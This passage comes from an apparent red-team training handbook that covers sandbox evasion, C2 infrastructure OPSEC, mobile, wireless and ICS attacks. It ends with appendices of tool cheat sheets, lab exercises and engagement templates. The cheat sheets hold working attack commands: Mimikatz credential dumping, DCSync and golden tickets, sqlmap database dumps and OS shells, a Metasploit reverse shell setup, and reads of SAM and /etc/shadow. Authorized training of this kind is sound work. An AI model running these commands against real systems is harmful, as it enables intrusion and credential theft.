**ConfuserEx** .NET obfuscation\n\nPackers complicate analysis.\n\n**Packer Detection**\n\nHow EDR identifies packers:\n\n- **Entropy analysis** high randomness\n- **Section names** unusual\n- **Import table** anomalies\n- **Entry point** suspicious\n- **Memory permissions** changes\n- **Unpacking behavior** memory writes\n\nPackers increasingly detected.\n\n### 26.5 Sandbox Evasion\n\nDetecting and avoiding analysis environments.\n\n**Sandbox Characteristics**\n\nAnalysis environment traits:\n\n- **VM artifacts** hardware, drivers\n- **Limited resources** CPU, RAM\n- **User interaction** none or scripted\n- **Network restrictions** simulated\n- **Process monitoring** hooks\n- **Timing anomalies** slow execution\n\nEach characteristic detectable.\n\n**Evasion Techniques**\n\nSandbox detection methods:\n\n- **CPU checks** core count, speed\n- **RAM checks** total memory\n- **Disk size** hard drive capacity\n- **MAC addresses** vendor strings\n- **Process names** analysis tools\n- **Registry keys** sandbox artifacts\n- **DLL presence** analysis DLLs\n- **Hardware IDs** VM identifiers\n\nMultiple checks increase reliability.\n\n**Timing Evasion**\n\nDelayed execution:\n\n- **Sleep calls** long delays\n- **CPU-heavy loops** waste time\n- **User interaction** wait for input\n- **Conditional delays** based on checks\n- **Randomized timing** unpredictable\n- **Time-based triggers** specific times\n\nTiming frustrates sandboxes.\n\n**Human Emulation**\n\nDetecting automation:\n\n- **Mouse movements** check for input\n- **Window focus** changes\n- **Click detection** real interaction\n- **Typing patterns** human speed\n- **Dialog boxes** require response\n- **CAPTCHA** solve requirement\n\nHuman emulation complex.\n\n---\n\n## Chapter 27: Operational Security (OPSEC)\n\n### 27.1 Infrastructure Hardening\n\nSecuring red team infrastructure.\n\n**Server Hardening**\n\nProtecting C2 servers:\n\n- **Minimal services** reduce attack surface\n- **Firewall rules** restrict access\n- **SSH key authentication** no passwords\n- **Fail2ban** brute force protection\n- **Regular updates** patch management\n- **Monitoring** for compromise\n\nCompromised infrastructure dangerous.\n\n**Network Isolation**\n\nSeparating infrastructure:\n\n- **VLANs** separate networks\n- **Jump boxes** intermediate access\n- **VPN access** encrypted tunnels\n- **Whitelist IPs** operator sources\n- **Geographic restrictions** where allowed\n- **Time-based access** operation windows\n\nIsolation limits blast radius.\n\n**Credential Security**\n\nInfrastructure credentials:\n\n- **Unique passwords** per server\n- **SSH keys** with passphrases\n- **Hardware tokens** 2FA where possible\n- **Password managers** store securely\n- **Regular rotation** credential changes\n- **Least privilege** access limited\n\nCredential compromise catastrophic.\n\n**Monitoring Infrastructure**\n\nWatching for compromise:\n\n- **Log analysis** intrusion attempts\n- **File integrity** binary changes\n- **Process monitoring** unusual activity\n- **Network flows** unexpected connections\n- **Resource usage** anomalies\n- **Alerting** immediate notification\n\nMonitor your own infrastructure.\n\n### 27.2 Redirectors\n\nProxy infrastructure for OPSEC.\n\n**Redirector Purpose**\n\nWhy redirectors:\n\n- **Hide true C2** behind proxies\n- **Load balancing** multiple beacons\n- **Geographic distribution** diverse egress\n- **Burn capability** sacrifice redirectors\n- **Protocol conversion** HTTPS to HTTP\n- **Content filtering** block scanners\n\nRedirectors protect teamserver.\n\n**Redirector Types**\n\nCommon redirector setups:\n\n- **Apache/nginx** reverse proxy\n- **HAProxy** load balancing\n- **SOCKS proxies** for routing\n- **SSH tunnels** encrypted forwarding\n- **CDN fronting** domain fronting\n- **Custom relays** purpose-built\n\nType depends on requirements.\n\n**Redirector Placement**\n\nGeographic strategy:\n\n- **Target region** reduce latency\n- **Legal jurisdictions** favorable laws\n- **Provider diversity** avoid concentration\n- **Reputation** IP not blacklisted\n- **Multiple hops** layered protection\n- **CDN integration** cloud fronting\n\nPlacement affects operations.\n\n**Redirector Burn**\n\nInfrastructure replacement:\n\n- **Monitor for** detection\n- **Detect scanning** reconnaissance\n- **Proactive rotation** scheduled changes\n- **Gradual phase-out** avoid disruption\n- **Emergency burn** immediate threat\n- **Data preservation** logs before destruction\n\nBurn maintains OPSEC.\n\n### 27.3 Domain Fronting\n\nUsing CDNs to hide true destination.\n\n**Domain Fronting Mechanics**\n\nHow fronting works:\n\n- **CDN hosted** content delivery\n- **TLS SNI** shows CDN domain\n- **Host header** shows target domain\n- **CDN routes** to hidden backend\n- **Traffic appears** to CDN domain\n- **Backend hidden** from inspection\n\nSNI and Host differ.\n\n**CDN Providers**\n\nPlatforms supporting fronting:\n\n- **CloudFront** (AWS) partially\n- **Azure CDN** some support\n- **Cloudflare** limited (Enterprise)\n- **Fastly** historically\n- **Akamai** some configurations\n- **Custom CDNs** self-hosted\n\nProvider policies change.\n\n**Fronting Detection**\n\nDefender countermeasures:\n\n- **SNI/Host mismatch** detection\n- **TLS fingerprinting** JA3\n- **Traffic analysis** patterns\n- **CDN logs** correlation\n- **Threat intel** known domains\n- **Blocking** suspicious patterns\n\nFronting increasingly detected.\n\n**Modern Alternatives**\n\nDomain fronting replacements:\n\n- **API gateways** similar concept\n- **Dead drop** resolvers\n- **Domain shifting** fast changes\n- **Randomized domains** DGA\n- **Tunneled over** legitimate services\n- **CDN alternative** providers\n\nEvolution continues.\n\n### 27.4 Infrastructure Burn Analysis\n\nKnowing when infrastructure is compromised.\n\n**Detection Indicators**\n\nSigns of compromise:\n\n- **Unusual traffic** from unknown sources\n- **Scanning activity** reconnaissance\n- **Access attempts** authentication failures\n- **File changes** unauthorized\n- **Process anomalies** unknown processes\n- **Outbound connections** to new IPs\n\nIndicators trigger response.\n\n**Burn Decision Factors**\n\nWhen to burn:\n\n- **Confirmed compromise** detected\n- **Suspicious activity** but uncertain\n- **Operational impact** if exposed\n- **Campaign completion** planned burn\n- **Target awareness** likely alerted\n- **Legal pressure** law enforcement\n\nDecision balances risk.\n\n**Burn Procedures**\n\nInfrastructure destruction:\n\n- **Server termination** immediate shutdown\n- **Domain release** registrar delete\n- **DNS removal** zone deletion\n- **Certificate revocation** stop use\n- **Data wiping** secure deletion\n- **Provider account** closure\n\nThorough burn removes traces.\n\n**Post-Burn Analysis**\n\nLearning from burns:\n\n- **Root cause** how detected\n- **Timeline** when compromised\n- **Data exposed** what accessed\n- **TTPs revealed** methods exposed\n- **Process improvement** future prevention\n- **Intelligence value** defender capabilities\n\nAnalysis improves future OPSEC.\n\n---\n\n# PART XI \u2013 SPECIALIZED TESTING\n\n## Chapter 28: Mobile Application Pentesting\n\n### 28.1 Android Security\n\nAndroid security architecture.\n\n**Android Application Structure**\n\nAPK components:\n\n- **DEX bytecode** compiled app\n- **Manifest** permissions, components\n- **Resources** layouts, strings\n- **Native libraries** .so files\n- **Assets** bundled files\n- **Signatures** app authenticity\n\nStructure affects testing.\n\n**Android Permissions**\n\nPermission model:\n\n- **Install-time** automatically granted\n- **Runtime** user approval\n- **Dangerous permissions** sensitive access\n- **Signature permissions** system apps\n- **Permission groups** related permissions\n- **Custom permissions** app-defined\n\nPermissions control access.\n\n**App Components**\n\nAndroid component types:\n\n- **Activities** UI screens\n- **Services** background processing\n- **Broadcast receivers** system events\n- **Content providers** data sharing\n- **Intents** component communication\n\nComponents attack surface.\n\n**Data Storage**\n\nAndroid data locations:\n\n- **Internal storage** app-private\n- **External storage** shared (SD card)\n- **SharedPreferences** key-value\n- **SQLite databases** structured data\n- **Keystore** cryptographic keys\n- **Cache** temporary files\n\nStorage often vulnerable.\n\n### 28.2 iOS Security\n\niOS security architecture.\n\n**iOS Application Structure**\n\nIPA contents:\n\n- **Mach-O binary** compiled code\n- **Info.plist** configuration\n- **Entitlements** permissions\n- **Resources** assets\n- **Frameworks** bundled libraries\n- **Provisioning** signing profile\n\nStructure similar to Android.\n\n**iOS Security Features**\n\niOS protections:\n\n- **Sandboxing** per-app containment\n- **Code signing** integrity verification\n- **Entitlements** permission model\n- **Keychain** secure storage\n- **Data protection** file encryption\n- **App Transport Security** (ATS) network\n\nFeatures complicate testing.\n\n**iOS Testing Challenges**\n\niOS restrictions:\n\n- **Jailbreak required** for deep testing\n- **Code signing** cannot modify apps\n- **Entitlements** limit capabilities\n- **Keychain access** restricted\n- **Sandbox** limits file access\n- **Provisioning** profile requirements\n\nTesting requires jailbroken devices.\n\n**iOS Data Storage**\n\niOS storage locations:\n\n- **Documents** user data\n- **Library** app data\n- **tmp** temporary files\n- **Keychain** credentials\n- **NSUserDefaults** preferences\n- **Core Data** database\n\nEach location accessible on jailbroken device.\n\n### 28.3 Mobile Reverse Engineering\n\nAnalyzing mobile apps.\n\n**Static Analysis**\n\nExamining without execution:\n\n- **DEX decompilation** to Java (Android)\n- **Mach-O disassembly** to assembly (iOS)\n- **String extraction** hardcoded secrets\n- **Manifest analysis** permissions\n- **Plist examination** iOS configuration\n- **Resource review** bundled files\n\nStatic analysis reveals issues.\n\n**Dynamic Analysis**\n\nRuntime examination:\n\n- **Traffic interception** Burp, Charles\n- **Method hooking** Frida, Objection\n- **Debugging** LLDB, GDB\n- **Memory dumping** extract data\n- **File monitoring** storage access\n- **Runtime manipulation** bypass checks\n\nDynamic analysis shows behavior.\n\n**Common Tools**\n\nMobile testing tools:\n\n- **MobSF** Mobile Security Framework\n- **Frida** dynamic instrumentation\n- **Objection** runtime exploration\n- **APKTool** Android reverse engineering\n- **Hopper/IDA** iOS disassembly\n- **Burp Suite** network interception\n\nTools essential for testing.\n\n**Obfuscation Bypass**\n\nEvading protections:\n\n- **String decryption** at runtime\n- **Reflection usage** hide calls\n- **Native code** in C/C++\n- **Control flow** obfuscation\n- **Anti-debug** detection\n- **Root/jailbreak** detection\n\nBypass requires dynamic analysis.\n\n### 28.4 API Backend Attacks\n\nTesting mobile API endpoints.\n\n**Mobile API Characteristics**\n\nMobile backend APIs:\n\n- **REST/JSON** common\n- **Authentication tokens** often JWT\n- **Device identification** unique IDs\n- **Versioning** API versions\n- **Rate limiting** protection\n- **Session management** stateless\n\nMobile APIs web targets.\n\n**Common Vulnerabilities**\n\nMobile API issues:\n\n- **Insecure authentication** weak tokens\n- **Broken access control** IDOR\n- **Sensitive data exposure** in responses\n- **Insufficient rate limiting** brute force\n- **Mass assignment** parameter abuse\n- **Session fixation** token issues\n\nWeb vulnerabilities apply.\n\n**Client-Side Bypasses**\n\nMobile client weaknesses:\n\n- **Certificate pinning** bypass with Frida\n- **Root detection** bypass\n- **Emulator detection** bypass\n- **SSL verification** disable\n- **Parameter validation** client-side only\n- **Business logic** client enforcement\n\nClient can't be trusted.\n\n**API Testing Methodology**\n\nTesting approach:\n\n- **Endpoint discovery** from app\n- **Authentication testing** tokens\n- **Authorization testing** IDOR\n- **Parameter fuzzing** injection\n- **Rate limit testing** brute force\n- **Session analysis** token handling\n\nMethodology systematic.\n\n---\n\n## Chapter 29: Wireless Attacks\n\n### 29.1 Wi-Fi Attacks\n\nTesting wireless networks.\n\n**Wi-Fi Security Protocols**\n\nWireless security:\n\n- **WEP** deprecated, easily cracked\n- **WPA** TKIP, vulnerable\n- **WPA2** AES, current standard\n- **WPA3** latest, improved security\n- **Enterprise** 802.1X authentication\n- **PSK** pre-shared key\n\nProtocol determines attack.\n\n**WPA2 Attacks**\n\nWPA2 exploitation:\n\n- **4-way handshake** capture\n- **Dictionary attack** offline cracking\n- **PMKID attack** from AP\n- **KRACK** key reinstallation\n- **WPS PIN** brute force\n- **Deauth attack** force reconnection\n\nHandshake capture required.\n\n**WPA3 Attacks**\n\nWPA3 attacks emerging:\n\n- **Dragonblood** vulnerabilities\n- **Downgrade attacks** to WPA2\n- **Side-channel** timing attacks\n- **Hash-to-element** issues\n- **Transition mode** weaknesses\n- **EAP-pwd** flaws\n\nWPA3 more secure but not invulnerable.\n\n**Enterprise Attacks**\n\n802.1X attacks:\n\n- **Rogue AP** with RADIUS\n- **Credential capture** from clients\n- **PEAP/MSCHAPv2** weaknesses\n- **EAP-TTLS** similar issues\n- **Certificate validation** bypass\n- **LDAP relay** to domain controller\n\nEnterprise more complex.\n\n### 29.2 WPA3 Testing\n\nAssessing WPA3 implementations.\n\n**WPA3 Features**\n\nWPA3 improvements:\n\n- **Simultaneous Authentication of Equals** (SAE)\n- **Perfect forward secrecy**\n- **192-bit security** mode\n- **Protected Management Frames** (PMF)\n- **Easy Connect** (Wi-Fi DPP)\n- **Enhanced open** (OWE)\n\nFeatures increase security.\n\n**SAE Handshake**\n\nSAE operation:\n\n- **Commit phase** exchange public keys\n- **Confirm phase** validate authentication\n- **Anti-clogging** tokens\n- **Hunting-and-pecking** for groups\n- **Password-based** authentication\n- **Dictionary attack** resistant\n\nSAE prevents offline cracking.\n\n**WPA3 Vulnerabilities**\n\nKnown WPA3 issues:\n\n- **Side-channel leaks** in SAE\n- **Downgrade to WPA2** transition mode\n- **Timing attacks** on hunting-and-pecking\n- **Cache-based** side channels\n- **Implementation bugs** in drivers\n- **Denial of service** possibilities\n\nVulnerabilities reduce security.\n\n**Testing Tools**\n\nWPA3 testing:\n\n- **Wireshark** capture analysis\n- **Aircrack-ng** limited support\n- **Hashcat** cracking (SAE slow)\n- **Bettercap** framework\n- **Custom scripts** for specific tests\n- **Hardware** compatible adapters\n\nTools evolving for WPA3.\n\n### 29.3 Evil Twin\n\nRogue access point attacks.\n\n**Evil Twin Concept**\n\nFake AP operation:\n\n- **Same SSID** as legitimate\n- **Stronger signal** attract clients\n- **No authentication** or fake\n- **Man-in-the-middle** position\n- **Traffic interception** capture\n- **Credential harvesting** from clients\n\nClients connect automatically.\n\n**Evil Twin Setup**\n\nCreating evil twin:\n\n- **Wireless adapter** monitor mode\n- **Hostapd** AP software\n- **DHCP server** for clients\n- **DNS server** spoofing\n- **Traffic forwarding** to internet\n- **SSL stripping** downgrade HTTPS\n\nSoftware and hardware required.\n\n**Captive Portal**\n\nCredential harvesting:\n\n- **Fake login page** resembles captive\n- **Common portals** hotel, airport\n- **Credential capture** from users\n- **Session hijacking** after login\n- **2FA bypass** if real session\n- **Redirect to malicious** sites\n\nCaptive portals effective.\n\n**Detection Avoidance**\n\nEvading wireless IDS:\n\n- **Channel selection** match legitimate\n- **Signal strength** natural levels\n- **Beacon intervals** normal timing\n- **Client isolation** avoid scanning\n- **Encryption matching** if WPA2\n- **MAC address** of legitimate AP\n\nEvasion increases success.\n\n### 29.4 Bluetooth Exploitation\n\nAttacking Bluetooth devices.\n\n**Bluetooth Versions**\n\nBluetooth evolution:\n\n- **Classic Bluetooth** BR/EDR\n- **Bluetooth Low Energy** (BLE)\n- **Bluetooth 4.0** introduced BLE\n- **Bluetooth 5.x** improved range\n- **Bluetooth Mesh** IoT\n- **Audio streaming** A2DP\n\nEach version different attacks.\n\n**Bluetooth Attacks**\n\nCommon Bluetooth attacks:\n\n- **BlueBorne** RCE vulnerabilities\n- **BlueSnarf** data theft\n- **BlueJacking** message spam\n- **BlueSmack** DoS\n- **KNOB** key negotiation\n- **BIAS** authentication bypass\n\nAttacks target implementation flaws.\n\n**BLE Attacks**\n\nBLE-specific attacks:\n\n- **Sniffing** capture traffic\n- **Replay attacks** retransmit\n- **Pairing bypass** weak pairing\n- **MAC address tracking** privacy\n- **GATT enumeration** service discovery\n- **Jamming** radio interference\n\nBLE widely used in IoT.\n\n**Testing Tools**\n\nBluetooth testing:\n\n- **Ubertooth** hardware sniffer\n- **BlueZ** Linux stack\n- **Btlejack** BLE tools\n- **Gattacker** BLE MITM\n- **InternalBlue** reverse engineering\n- **Flipper Zero** multi-tool\n\nSpecialized hardware often required.\n\n---\n\n## Chapter 30: ICS/OT Red Teaming\n\n### 30.1 SCADA Architecture\n\nIndustrial control systems overview.\n\n**ICS Components**\n\nIndustrial control elements:\n\n- **RTU** Remote Terminal Units\n- **PLC** Programmable Logic Controllers\n- **HMI** Human-Machine Interfaces\n- **MTU** Master Terminal Units\n- **IED** Intelligent Electronic Devices\n- **SIS** Safety Instrumented Systems\n\nComponents control physical processes.\n\n**Network Architecture**\n\nICS network layers:\n\n- **Level 0** field devices\n- **Level 1** control (PLC, RTU)\n- **Level 2** supervision (HMI)\n- **Level 3** operations management\n- **Level 4** enterprise network\n- **Purdue Model** reference architecture\n\nSegmentation critical for security.\n\n**Industrial Protocols**\n\nCommon ICS protocols:\n\n- **Modbus** simple, widespread\n- **DNP3** electric utilities\n- **Profinet** Siemens\n- **EtherNet/IP** Rockwell\n- **OPC** OLE for Process Control\n- **IEC 60870** telecontrol\n\nProtocols often lack security.\n\n**Safety Considerations**\n\nICS testing risks:\n\n- **Process disruption** physical impact\n- **Safety systems** may trigger\n- **Equipment damage** possible\n- **Environmental release** hazardous\n- **Production loss** financial\n- **Life safety** personnel risk\n\nSafety paramount in ICS.\n\n### 30.2 PLC Exploitation\n\nAttacking programmable logic controllers.\n\n**PLC Attack Surface**\n\nPLC vulnerabilities:\n\n- **Firmware** update mechanism\n- **Network services** exposed\n- **Web interfaces** often\n- **Engineering access** passwords\n- **Remote access** VPN or dial-up\n- **Physical ports** USB, serial\n\nEach surface potentially vulnerable.\n\n**PLC Exploitation Methods**\n\nCompromising PLCs:\n\n- **Default credentials** unchanged\n- **Firmware modification** backdoor\n- **Logic manipulation** change program\n- **Remote stop** disrupt process\n- **Forced I/O** override sensors\n- **Man-in-the-middle** modify values\n\nExploitation varies by vendor.\n\n**Engineering Software**\n\nICS exploitation tools:\n\n- **Vendor tools** Siemens, Rockwell\n- **CODESYS** multiple vendors\n- **OpenPLC** open-source\n- **Metasploit** ICS modules\n- **ISF** Industrial Exploitation Framework\n- **PLCinject** code injection\n\nTools enable PLC attacks.\n\n**Detection Challenges**\n\nPLC compromise detection:\n\n- **Limited logging** on PLCs\n- **No authentication** for changes\n- **Engineering access** indistinguishable\n- **Network monitoring** gaps\n- **Process anomalies** only clue\n- **Delayed impact** from logic changes\n\nDetection difficult in ICS.\n\n### 30.3 Modbus Attacks\n\nModbus protocol exploitation.\n\n**Modbus Protocol**\n\nModbus characteristics:\n\n- **Master/slave** architecture\n- **Function codes** read/write operations\n- **No authentication** by design\n- **Simple framing** over serial/TCP\n- **Widely supported** by devices\n- **Legacy deployments** common\n\nProtocol inherently insecure.\n\n**Modbus Enumeration**\n\nDiscovering Modbus devices:\n\n- **Port 502** default Modbus TCP\n- **Unit ID** device addressing\n- **Function code** scanning\n- **Read coil** status enumeration\n- **Read register** value discovery\n- **Device identification** responses\n\nEnumeration reveals devices.\n\n**Modbus Exploitation**\n\nAttacking Modbus:\n\n- **Write coil** override outputs\n- **Write register** change setpoints\n- **Force listen** only mode\n- **Modbus flood** DoS\n- **Replay attacks** capture and retransmit\n- **Man-in-the-middle** intercept and modify\n\nSimple but effective attacks.\n\n**Impact Potential**\n\nModbus attack consequences:\n\n- **Process disruption** stop operation\n- **Equipment damage** unsafe states\n- **Safety system** bypass\n- **Product quality** affected\n- **Production loss** downtime\n- **Physical harm** to personnel\n\nImpact can be severe.\n\n### 30.4 Industrial Safety Risks\n\nSafety implications of ICS attacks.\n\n**Safety Instrumented Systems**\n\nSIS purpose:\n\n- **Protect personnel** from harm\n- **Prevent equipment** damage\n- **Environmental protection** releases\n- **Independent from** control system\n- **Higher integrity** requirements\n- **Fail-safe** design\n\nSIS last line of defense.\n\n**SIS Attack Vectors**\n\nCompromising safety systems:\n\n- **SIS logic** modification\n- **Sensor spoofing** false readings\n- **Final element** manipulation\n- **Bypass** safety functions\n- **Alarm suppression** hide dangerous conditions\n- **Test mode** disable protection\n\nSIS compromise catastrophic.\n\n**Safety Consequences**\n\nPotential outcomes:\n\n- **Toxic release** chemical\n- **Explosion** flammable materials\n- **Fire** ignition sources\n- **Mechanical hazards** moving equipment\n- **Electrical hazards** shock\n- **Environmental damage** spills\n\nConsequences physical.\n\n**Red Team Considerations**\n\nICS testing approach:\n\n- **Extreme caution** in testing\n- **Offline testing** when possible\n- **Simulation environments** preferred\n- **Safety interlocks** never bypassed\n- **Process knowledge** essential\n- **Emergency stop** procedures ready\n\nSafety first in ICS testing.\n\n---\n\n# PART XII \u2013 APPENDICES\n\n## Appendix A: Tool Reference Guide\n\n### Information Gathering\n- **Nmap** - Network scanning\n- **Recon-ng** - OSINT framework\n- **theHarvester** - Email/domain harvesting\n- **Shodan** - Internet device search\n- **Maltego** - Link analysis\n- **Amass** - DNS enumeration\n\n### Vulnerability Analysis\n- **Nessus** - Commercial scanner\n- **OpenVAS** - Open-source scanner\n- **Nikto** - Web server scanner\n- **WPScan** - WordPress scanner\n- **SQLmap** - SQL injection\n- **Nuclei** - Template-based scanning\n\n### Exploitation\n- **Metasploit** - Exploitation framework\n- **Searchsploit** - Exploit database\n- **BeEF** - Browser exploitation\n- **Impacket** - Network protocols\n- **Responder** - LLMNR/NBT-NS poisoning\n- **CrackMapExec** - Network assessment\n\n### Post-Exploitation\n- **Mimikatz** - Credential extraction\n- **PowerSploit** - PowerShell post-ex\n- **Empire** - Post-exploitation\n- **BloodHound** - AD analysis\n- **Cobalt Strike** - C2 framework\n- **Sliver** - Open-source C2\n\n## Appendix B: Cheat Sheets\n\n### Nmap Commands\n```\n# Quick scan\nnmap -T4 -F \n\n# Service version detection\nnmap -sV -sC \n\n# OS detection\nnmap -O \n\n# All ports\nnmap -p- \n\n# Script scan\nnmap --script vuln \n\n# UDP scan\nnmap -sU \n```\n\n### SQLMap Usage\n```\n# Basic injection\nsqlmap -u \"http://target/page?id=1\"\n\n# With cookie\nsqlmap -u \"URL\" --cookie=\"value\"\n\n# Database enumeration\nsqlmap -u \"URL\" --dbs\n\n# Table enumeration\nsqlmap -u \"URL\" -D dbname --tables\n\n# Data extraction\nsqlmap -u \"URL\" -D dbname -T table --dump\n\n# OS shell\nsqlmap -u \"URL\" --os-shell\n```\n\n### Metasploit Basics\n```\n# Start console\nmsfconsole\n\n# Search exploits\nsearch type:exploit platform:windows\n\n# Use module\nuse exploit/multi/handler\n\n# Show options\nshow options\n\n# Set option\nset PAYLOAD windows/meterpreter/reverse_tcp\n\n# Run exploit\nrun\n\n# Background session\nbackground\n\n# Interact with session\nsessions -i 1\n```\n\n### Mimikatz Commands\n```\n# Elevate to SYSTEM\nprivilege::debug\ntoken::elevate\n\n# Dump passwords\nsekurlsa::logonpasswords\n\n# Dump SAM\nlsadump::sam\n\n# DCSync\nlsadump::dcsync /domain:domain.com /user:krbtgt\n\n# Golden ticket\nkerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21... /krbtgt:hash\n\n# Pass-the-hash\nsekurlsa::pth /user:admin /domain:domain.com /ntlm:hash\n```\n\n## Appendix C: Command Reference\n\n### Windows Commands\n```\n# System info\nsysteminfo\nwmic os get caption,version\n\n# User enumeration\nnet user\nnet user /domain\nnet localgroup administrators\nwhoami /all\n\n# Network\nipconfig /all\nnetstat -ano\narp -a\nnslookup\n\n# Processes\ntasklist\ntaskkill /PID  /F\n\n# Services\nsc query\nnet start\nwmic service list brief\n\n# Registry\nreg query HKLM\\Software\nreg save HKLM\\SAM sam.save\n```\n\n### Linux Commands\n```\n# System info\nuname -a\ncat /etc/os-release\nhostname\nid\n\n# User enumeration\nwhoami\nid\ncat /etc/passwd\nsudo -l\n\n# Network\nifconfig\nip addr\nnetstat -tulpn\nss -tulpn\n\n# Processes\nps aux\ntop\nlsof\n\n# File system\nfind / -perm -4000 2>/dev/null\nls -la\ncat /etc/shadow\nmount\n\n# SSH\nssh user@host\nssh-keygen\nssh-copy-id user@host\n```\n\n## Appendix D: Lab Exercises\n\n### Exercise 1: Network Scanning\n**Objective:** Perform comprehensive network scan\n1. Set up target VM (Metasploitable, DVWA)\n2. Perform host discovery using nmap\n3. Conduct port scan with service detection\n4. Run vulnerability scripts\n5. Document all findings\n\n### Exercise 2: Web Application Testing\n**Objective:** Identify web vulnerabilities\n1. Configure Burp Suite proxy\n2. Map application using spider/crawler\n3. Identify injection points\n4. Test for SQL injection with sqlmap\n5. Perform XSS testing manually\n6. Document exploitation steps\n\n### Exercise 3: Active Directory Attack\n**Objective:** Simulate AD compromise\n1. Set up AD lab with Domain Controller\n2. Perform initial enumeration\n3. Execute LLMNR poisoning with Responder\n4. Crack captured hashes\n5. Perform Pass-the-Hash for lateral movement\n6. Use BloodHound for path analysis\n\n### Exercise 4: Privilege Escalation\n**Objective:** Escalate to SYSTEM/root\n1. Deploy vulnerable Windows/Linux VM\n2. Perform enumeration with WinPEAS/LinPEAS\n3. Identify privilege escalation vector\n4. Develop/use exploit\n5. Escalate privileges\n6. Document steps and clean up\n\n### Exercise 5: C2 Operations\n**Objective:** Establish command and control\n1. Set up C2 infrastructure\n2. Generate staged payload\n3. Execute payload on target\n4. Interact with beacon\n5. Perform post-exploitation\n6. Cover tracks\n\n## Appendix E: Real-World Case Studies\n\n### Case Study 1: Target Breach (2013)\n**Overview:** 40 million credit cards compromised\n**Initial Access:** HVAC vendor credentials\n**Lateral Movement:** From vendor network to POS\n**Impact:** Massive data breach, executive changes\n**Lessons:** Third-party risk management, network segmentation\n\n### Case Study 2: SolarWinds (2020)\n**Overview:** Supply chain attack affecting 18,000 organizations\n**Initial Access:** Compromised build pipeline\n**Technique:** Malicious code in software updates\n**Impact:** Multiple government agencies, Fortune 500\n**Lessons:** Software integrity, build security, detection gaps\n\n### Case Study 3: Colonial Pipeline (2021)\n**Overview:** Ransomware attack on fuel pipeline\n**Initial Access:** Compromised VPN password\n**Technique:** DarkSide ransomware deployment\n**Impact:** Fuel shortages, $4.4M ransom paid\n**Lessons:** Critical infrastructure protection, offline backups, incident response\n\n### Case Study 4: NotPetya (2017)\n**Overview:** Destructive attack masquerading as ransomware\n**Initial Access:** Compromised accounting software update\n**Technique:** EternalBlue exploit, credential theft\n**Impact:** $10B+ damages, global shipping disruption\n**Lessons:** Defense in depth, patch management, business continuity\n\n## Appendix F: Sample Engagement Templates\n\n### Rules of Engagement Template\n```\nENGAGEMENT OVERVIEW\n- Client: [Name]\n- Dates: [Start] to [End]\n- Type: [Penetration Test/Red Team]\n\nSCOPE\n- In-scope IPs: [Ranges]\n- In-scope Domains: [List]\n- Excluded Systems: [List]\n- Testing Locations: [On-site/Remote]\n\nRESTRICTIONS\n- No social engineering: [Yes/No]\n- No DoS: [Yes/No]\n- Testing hours: [Window]\n- Emergency contact: [Phone]\n- Stop conditions: [Criteria]\n\nAUTHORIZATION\n- Authorized by: [Name/Title]\n- Date: [Date]\n- Signature: [Signature]\n```\n\n### Finding Template\n```\nVULNERABILITY: [Title]\nSeverity: [Critical/High/Medium/Low/Low]\nCVSS: [Score] ([Vector])\n\nDESCRIPTION\n[Brief description of vulnerability]\n\nAFFECTED SYSTEMS\n[Hostnames/IPs/Applications]\n\nIMPACT\n[What attacker could achieve]\n\nPROOF OF CONCEPT\n[Steps to reproduce]\n\nREMEDIATION\n[How to fix]\n\nREFERENCES\n[Links/CVEs/Advisories]\n```\n\n### Executive Summary Template\n```\nEXECUTIVE SUMMARY\nEngagement: [Name]\nPeriod: [Dates]\nTeam: [Testers]\n\nOVERVIEW\n[Brief engagement description]\n\nKEY FINDINGS\n- Finding 1: [Description]\n- Finding 2: [Description]\n- Finding 3: [Description]\n\nRISK PROFILE\nOverall Risk: [Rating]\nCritical Issues: [#]\nHigh Issues: [#]\n\nSTRATEGIC RECOMMENDATIONS\n1. [Recommendation]\n2. [Recommendation]\n3. [Recommendation]\n\nNEXT STEPS\n[Actions for client]\n```\n\n## Appendix G: Legal Templates\n\n### Penetration Testing Agreement\n```\nThis Penetration Testing Agreement (\"Agreement\") is entered into by and between [Client] (\"Client\") and [Tester] (\"Tester\") on this [Date].\n\n1. SERVICES\nTester agrees to perform penetration testing services as described in Exhibit A.\n\n2. AUTHORIZATION\nClient authorizes Tester to perform testing activities on systems owned or operated by Client within the scope defined in Exhibit A.\n\n3. LIMITATIONS\nTester shall not be liable for damages resulting from testing activities conducted within scope and in accordance with rules of engagement.\n\n4. CONFIDENTIALITY\nTester shall maintain confidentiality of all client information and findings.\n\n5. INDEMNIFICATION\nClient indemnifies Tester against claims arising from testing activities conducted within scope.\n\n[Additional terms as required by jurisdiction]\n```\n\n### Vulnerability Disclosure Letter\n```\n[Date]\n\nTo: [Organization Security Team]\n\nDuring authorized security testing of [System], we identified the following vulnerability:\n\nVulnerability: [Title]\nDescription: [Description]\nImpact: [Impact]\nSteps to Reproduce: [Steps]\n\nWe recommend remediation by [Date] based on risk.\n\nPlease contact us at [Email] with questions or to confirm remediation.\n\nThis disclosure is made in accordance with our testing agreement and responsible disclosure practices.\n\nSincerely,\n[Name]\n[Title]\n[Company]\n```\n\n## Appendix H: Recommended Reading\n\n### Books\n1. \"The Web Application Hacker's Handbook\" - Stuttard & Pinto\n2. \"Penetration Testing: A Hands-On Introduction to Hacking\" - Georgia Weidman\n3. \"Red Team Field Manual\" - Ben Clark\n4. \"Rtfm: Red Team Field Manual\" - Ben Clark\n5. \"Metasploit: The Penetration Tester's Guide\" - Kennedy et al.\n6. \"Hacking: The Art of Exploitation\" - Jon Erickson\n7. \"Practical Malware Analysis\" - Sikorski & Honig\n8. \"The Hacker Playbook\" - Peter Kim\n\n### Certifications\n1. OSCP (Offensive Security Certified Professional)\n2. OSWP (Offensive Security Wireless Professional)\n3. OSEP (Offensive Security Experienced Penetration Tester)\n4. OSED (Offensive Security Exploit Developer)\n5. CRTO (Certified Red Team Operator)\n6. CRTP (Certified Red Team Professional)\n7. GPEN (GIAC Penetration Tester)\n8. GXPN (GIAC Exploit Researcher)\n\n### Online Resources\n1. PortSwigger Web Security Academy\n2. HackTheBox\n3. TryHackMe\n4. PentesterLab\n5. VulnHub\n6. OWASP.org\n7. MITRE ATT&CK\n8. SANS Reading Room\n\n### Blogs & Research\n1. SANS ISC\n2. Krebs on Security\n3. Schneier on Security\n4. Red Canary Blog\n5. CrowdStrike Blog\n6. Mandiant Blog\n7. Unit 42 (Palo Alto)\n8. Talos Intelligence (Cisco)\n\n---\n", "creation_timestamp": "2026-08-25T16:11:48.180731Z"}, {"uuid": "eef69c27-6245-493b-94ec-fef61c095167", "vulnerability_lookup_origin": 